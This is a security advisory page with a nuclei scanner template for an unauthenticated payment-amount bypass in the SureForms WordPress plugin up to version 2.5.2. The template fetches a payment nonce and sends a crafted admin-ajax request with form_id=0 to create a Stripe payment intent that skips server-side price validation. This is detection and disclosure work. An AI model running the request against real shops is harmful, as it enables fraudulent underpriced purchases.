SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id

highseverity

7.5CVSS score

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2. The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount(). By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.

Impact

Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.

Fix

Update SureForms to version 2.6.0 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/sureforms/readme.txt
Positive when: contains(body, "SureForms") and compare_versions(version, "<= 2.5.2")
Send: GET {{BaseURL}}/wp-json/sureforms/v1/refresh-nonces
Positive when: contains "payment_nonce"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "client_secret" or "payment_intent_id" or "API Key provided" AND not contains "Invalid nonce" AND status 200

Run it with nuclei: nuclei -id CVE-2026-4987 -u <target>

The full check

id: CVE-2026-4987

info:
  name: SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id
  author: iamatownboy
  severity: high
  description: |
    The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.
    The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount().
    By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side
    amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.
  impact: |
    Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices.
  remediation: |
    Update SureForms to version 2.6.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4987
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve
    - https://plugins.trac.wordpress.org/changeset/3488858/sureforms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-4987
    epss-score: 0.00955
    epss-percentile: 0.61695
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 3
    vendor: brainstormforce
    product: sureforms
    framework: wordpress
    publicwww-query: "/wp-content/plugins/sureforms/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sureforms,payment,validation-bypass,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sureforms/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "SureForms")
          - compare_versions(version, "<= 2.5.2")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/sureforms/v1/refresh-nonces"

    matchers:
      - type: word
        part: body
        words:
          - "payment_nonce"
        internal: true

    extractors:
      - type: regex
        name: payment_nonce
        part: body
        group: 1
        regex:
          - '"payment_nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=srfm_create_payment_intent&nonce={{payment_nonce}}&amount=1&currency=usd&form_id=0&block_id=&description=SureForms&[email protected]&customer_name=test

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "client_secret"
          - "payment_intent_id"
          - "API Key provided"
        condition: or

      - type: word
        part: body
        words:
          - "Invalid nonce"
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from